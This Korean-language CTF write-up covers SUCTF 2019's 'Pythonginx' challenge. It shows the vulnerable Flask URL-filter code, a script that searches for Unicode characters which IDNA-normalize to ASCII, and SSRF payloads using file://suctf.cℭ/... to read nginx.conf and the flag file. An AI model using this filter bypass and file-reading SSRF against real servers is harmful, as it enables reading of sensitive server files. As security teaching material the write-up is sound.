Python의 표준 라이브러리인 urllib.parse를 활용한 URL 파싱 과정에서 발생할 수 있는 보안 취약점은 상당히 고전적이면서도 강력합니다. 특히 IDNA(Internationalizing Domain Names in Applications) 인코딩 처리 과정에서 특정 유니코드 문자가 ASCII 문자로 변환되는 특성을 이용하면, 서버 측의 URL 필터링 로직을 무력화할 수 있습니다. SUCTF 2019의 'Pythonginx' 문제를 통해 이러한 취약점의 원리와 실제 공격 기법을 분석합니다.
취약한 코드 로직 분석
문제에서 제공된 웹 어플리케이션의 핵심 로직은 다음과 같습니다. 사용자가 입력한 URL을 세 단계의 검증 과정을 거쳐 처리합니다.
@app.route('/getUrl', methods=['GET', 'POST'])
def get_resource():
user_url = request.args.get("url")
# 1차 검증: urlparse를 이용한 호스트 확인
initial_host = parse.urlparse(user_url).hostname
if initial_host == 'suctf.cc':
return "접근 거부: 1차 필터링"
# 2차 검증: urlsplit을 이용한 호스트 확인
url_components = list(urlsplit(user_url))
split_host = url_components[1]
if split_host == 'suctf.cc':
return "접근 거부: 2차 필터링"
# IDNA 인코딩 처리 (핵심 취약점 발생 지점)
encoded_host_parts = []
for part in split_host.split('.'):
encoded_host_parts.append(part.encode('idna').decode('utf-8'))
url_components[1] = '.'.join(encoded_host_parts)
# 공백 제거 및 URL 재구성
sanitized_url = urlunsplit(url_components).split(' ')[0]
# 최종 검증 및 실행
final_host = parse.urlparse(sanitized_url).hostname
if final_host == 'suctf.cc':
# 조건을 만족하면 해당 URL의 내용을 읽어 반환 (SSRF 가능 지점)
return urllib.request.urlopen(sanitized_url).read()
else:
return "접근 거부: 최종 호스트가 일치하지 않음"
이 코드의 모순점은 앞선 두 번의 검증에서는 호스트가 suctf.cc가 아니어야 하지만, 마지막 단계에서는 반드시 suctf.cc여야 한다는 것입니다. 일반적인 문자열로는 이 조건을 동시에 만족시킬 수 없으나, IDNA 인코딩 특성을 이용하면 가능해집니다.
IDNA 인코딩과 유니코드 정규화 취약점
IDNA 인코딩 과정에서 특정 유니코드 문자들은 대응되는 ASCII 문자로 변환됩니다. 예를 들어, 유니코드 기호 ℭ (U+212D)는 IDNA 인코딩을 거치면 소문자 c로 변환됩니다.
이를 이용해 suctf.cℭ와 같은 호스트를 전달하면 다음과 같은 과정을 거치게 됩니다.
urlparse와urlsplit은suctf.cℭ를 그대로 인식하므로suctf.cc와 일치하지 않아 필터링을 통과합니다.encode('idna').decode('utf-8')과정을 거치면서ℭ가c로 변환되어 전체 호스트가suctf.cc가 됩니다.- 최종 검증에서 호스트가
suctf.cc이므로urlopen()함수가 실행됩니다.
우회 가능한 문자 탐색
어떤 유니코드 문자가 필터링 우회에 사용될 수 있는지 확인하기 위해 다음과 같은 파이썬 스크립트를 작성하여 전체 유니코드 범위를 탐색할 수 있습니다.
from urllib.parse import urlparse, urlunsplit, urlsplit
def find_collision_chars():
valid_chars = []
for i in range(65536):
char = chr(i)
try:
# 1, 2차 검증 로직 모사
payload = f"http://suctf.c{char}"
if urlparse(payload).hostname == 'suctf.cc':
continue
if urlsplit(payload)[1] == 'suctf.cc':
continue
# 변환 로직 적용
transformed = char.encode('idna').decode('utf-8')
# 최종 결과 확인
if transformed == 'c':
print(f"발견된 문자: {char} | 유니코드: {hex(i)}")
valid_chars.append(char)
except:
continue
return valid_chars
if __name__ == "__main__":
find_collision_chars()
공격 시나리오 및 실행
공격자는 urlopen()이 실행된다는 점을 이용해 SSRF(Server-Side Request Forgery)를 시도할 수 있습니다. 특히 file:// 스키마를 사용하여 서버 내부의 민감한 파일을 읽어오는 것이 가능합니다.
- Nginx 설정 파일 확인: 서버의 파일 구조를 파악하기 위해 Nginx 설정 파일을 먼저 읽어옵니다.
/getUrl?url=file://suctf.cℭ/usr/local/nginx/conf/nginx.conf - Flag 획득: 설정 파일 등을 통해 알아낸 플래그의 위치를 직접 조회합니다.
/getUrl?url=file://suctf.cℭ/usr/fffffflag
이와 같은 취약점은 Nginx뿐만 아니라 다양한 웹 서버 환경에서 발생할 수 있습니다. urlparse와 urlsplit이 유니코드 정규화를 완벽하게 처리하지 못하는 상태에서 idna 인코딩을 수동으로 적용할 때 발생하는 전형적인 인코딩 불일치(Mismatch) 문제입니다. 이를 방지하기 위해서는 입력값에 대한 정규화를 인코딩 이전에 수행하거나, 신뢰할 수 없는 입력값이 URL 구성 요소에 직접 개입하지 않도록 설계해야 합니다.